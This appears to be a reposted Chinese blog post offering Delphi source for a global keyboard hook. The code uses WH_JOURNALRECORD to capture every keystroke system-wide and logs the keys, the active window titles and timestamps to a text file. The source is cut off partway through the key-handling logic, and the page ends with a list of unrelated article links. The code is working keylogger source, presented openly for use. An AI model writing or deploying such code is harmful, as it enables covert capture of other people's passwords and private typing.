博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Delphi 全局键盘钩子(Exe)
阅读量:5912 次
发布时间:2019-06-19

本文共 2382 字,大约阅读时间需要 7 分钟。

这个Delphi单元主要是把键盘按键保存在堆栈线性队列中,可以在软件界面自己查看按键内容,同时还保存了按键信息在c:\logfiles.txt的文本文件中,方便以后的查看。。。

安装全局钩子函数  KeyLogHook := SetWindowsHookEx(WH_jOURNALRECORD,KeyLogProc,HInstance,0);卸载钩子函数是   UnhookWindowsHookEx(KeyLogHook);

       使用过程中好像有点问题,软件开机自启动的时候,会让Lingoes的启动无法正常启动,提示内存访问错误什么的,有时候莫名其妙钩子会失效,截获不了键盘按键,可能用dll的好点吧。。。

 unit UntHook;

 
interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
Const
  _KeyPressMask = $80000000;
  Enter = #13#10;
var
  KeyLogHook: HHook = 0;
  HLastFocus: HWnd = 0;
  PrvChar: Char;
  HookList:TStringList;
  hookkey:String;
  hNextHookProc:HHOOk;
    //logtxt:TextFile;
  sFileName:string='c:\logfile.txt';
 
  function KeyLogProc(nCode:Integer;wParam,lParam:longint):LRESULT;stdcall;export;
  function EnableHotKeyHook:Bool;stdcall;export;
 
implementation
uses
  UntMain;
 
function KeyLogProc(nCode:Integer;wParam,lParam:longint):LResult;stdcall;
{Const
  sFileName = 'c:\logfile.txt'; }
 
var
  stream:TextFile;
  ch:Char;
  vKey:Integer;
  HFocus:HWND;
  Title:array[0..255] of Char;
  str:array[0..12] of char;
  stmp,stime:string;
  tfLogFile:TextFile;
  pEvt:^EVENTMSG;
  nCapital,nNumLock,nShift:Integer;
  isshift,isCapital,isNumLock:boolean;
 
begin
  sFileName := FrmMain.EditLogPositon.Text;
  //AssignFile(logtxt,Trim(FrmMain.EditLogPositon.Text));
  if nCode < 0 then
  begin
    Result := CallNextHookEx(KeyLogHook, nCode, wParam, lParam);
    exit;
  end;
  if (nCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    AssignFile(Stream,sFileName);
    if not FileExists(sFileName) then
      ReWrite(Stream)
    else
      Append(Stream);
    HFocus := GetActiveWindow;
    if HLastFocus <> HFocus then
    begin
      if hookkey <> '' then
      begin
        HookList.Add(hookkey);
      //  Append(LogTxt);
        WriteLn(stream,hookkey);
        hookkey := '';
      end;
      HookList.Add('------End------');
      WriteLn(stream,'------------结束-------------');
      HookList.Add('------Begin------');
      WriteLn(stream,'------------开始-------------');
  //    close(logtxt);
      GetWindowText(HFocus,Title,256);
      HLastFocus := HFocus;
      sTime := DatetimeToStr(Now);
      HookList.Add(sTime + Format('Title:%s',[Title]));
      WriteLn(Stream,sTime + Format('Title:%s',[Title]));
    end;
 
    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      nShift := GetKeyState($10);
      nCapital := GetKeyState($14);
      nNumLock := GetKeyState($90);
      isShift  := ((nShift and _KeyPressMask)=_KeyPressMask);
      isCapital := ((nCapital and 1) = 1);
      isNumLock := ((nNumLock and 1) =1 );
 
      if ((vKey >=48) and (vKey <=57)) then
      begin
        ch := Char(vKey);
      end

转载地址:http://gglpx.baihongyu.com/

你可能感兴趣的文章
kvmgt-kernel 实现GPU虚拟化
查看>>
双斜线菜单
查看>>
5_添加购物车 B+M
查看>>
Python进阶07 函数对象【转】
查看>>
python 生成器 迭代器
查看>>
c#用牛顿法计算根号下2的值
查看>>
Java集合总结
查看>>
服务器发送数据到另一个服务器上中文出现乱码
查看>>
MySQL优化Explain命令简介(一)
查看>>
Excel导出纵向表格(poi)
查看>>
zeromq的几种模式(转)
查看>>
Linux 文件系统 的 学习
查看>>
学习日记(一)----BaseActivity的写法
查看>>
itunes 无法构建版本问题
查看>>
webpack
查看>>
0705作业
查看>>
如何在cowboy应用中指定mnesia数据库路径
查看>>
OPENGL 红宝书实验笔记
查看>>
c# 书
查看>>
使用JTAG调试器和Freemaster 2.0 进行powerpc架构的mpc5XXX系列的调试
查看>>